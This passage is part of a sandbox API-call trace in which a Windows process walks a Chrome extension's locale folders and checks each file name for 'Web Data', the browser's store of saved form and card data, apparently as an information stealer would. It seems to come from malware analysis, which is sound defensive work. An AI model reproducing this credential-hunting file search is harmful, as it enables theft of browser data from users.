(in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="az" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az" [0056.427] LocalFree (hMem=0x2e0100) returned 0x0 [0056.427] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az") returned 131 [0056.428] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az") returned 131 [0056.428] lstrlenA (lpString="\\*.*") returned 4 [0056.428] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.428] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az" [0056.428] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\*.*" [0056.428] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.428] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.428] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.428] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.428] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.428] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.428] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.428] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.428] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.428] LocalFree (hMem=0x2e0100) returned 0x0 [0056.428] LocalFree (hMem=0x2e0210) returned 0x0 [0056.428] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.428] lstrcmpiA (lpString1=".", lpString2="bg") returned -1 [0056.428] lstrcmpiA (lpString1="..", lpString2="bg") returned -1 [0056.428] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.428] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.428] lstrlenA (lpString="\\") returned 1 [0056.428] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.428] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.428] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.428] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.428] lstrlenA (lpString="bg") returned 2 [0056.428] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.428] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.428] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg" [0056.428] LocalFree (hMem=0x2e0100) returned 0x0 [0056.428] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg") returned 131 [0056.428] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg") returned 131 [0056.428] lstrlenA (lpString="\\*.*") returned 4 [0056.428] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.428] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg" [0056.428] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\*.*" [0056.428] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.428] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.428] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.429] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.429] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.429] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.429] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.429] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.429] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.429] LocalFree (hMem=0x2e0100) returned 0x0 [0056.429] LocalFree (hMem=0x2e0210) returned 0x0 [0056.429] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.429] lstrcmpiA (lpString1=".", lpString2="bn") returned -1 [0056.429] lstrcmpiA (lpString1="..", lpString2="bn") returned -1 [0056.429] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.429] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.429] lstrlenA (lpString="\\") returned 1 [0056.429] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.429] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.429] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.429] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.429] lstrlenA (lpString="bn") returned 2 [0056.429] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.429] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.429] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="bn" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn" [0056.429] LocalFree (hMem=0x2e0100) returned 0x0 [0056.429] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn") returned 131 [0056.429] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn") returned 131 [0056.429] lstrlenA (lpString="\\*.*") returned 4 [0056.429] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.429] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn" [0056.429] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\*.*" [0056.429] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.429] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.429] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.429] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.429] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.429] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.429] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.429] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.429] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.429] LocalFree (hMem=0x2e0100) returned 0x0 [0056.429] LocalFree (hMem=0x2e0210) returned 0x0 [0056.429] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.429] lstrcmpiA (lpString1=".", lpString2="ca") returned -1 [0056.429] lstrcmpiA (lpString1="..", lpString2="ca") returned -1 [0056.429] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.429] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.430] lstrlenA (lpString="\\") returned 1 [0056.430] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.430] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.430] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.430] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.430] lstrlenA (lpString="ca") returned 2 [0056.430] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.430] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.430] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca" [0056.430] LocalFree (hMem=0x2e0100) returned 0x0 [0056.430] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca") returned 131 [0056.430] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca") returned 131 [0056.430] lstrlenA (lpString="\\*.*") returned 4 [0056.430] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.430] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca" [0056.430] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\*.*" [0056.430] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.430] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.430] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.430] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.430] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.430] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.430] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.430] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.430] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.430] LocalFree (hMem=0x2e0100) returned 0x0 [0056.430] LocalFree (hMem=0x2e0210) returned 0x0 [0056.430] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.430] lstrcmpiA (lpString1=".", lpString2="cs") returned -1 [0056.430] lstrcmpiA (lpString1="..", lpString2="cs") returned -1 [0056.430] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.430] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.430] lstrlenA (lpString="\\") returned 1 [0056.430] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.430] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.430] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.430] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.430] lstrlenA (lpString="cs") returned 2 [0056.430] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.430] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.430] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs" [0056.430] LocalFree 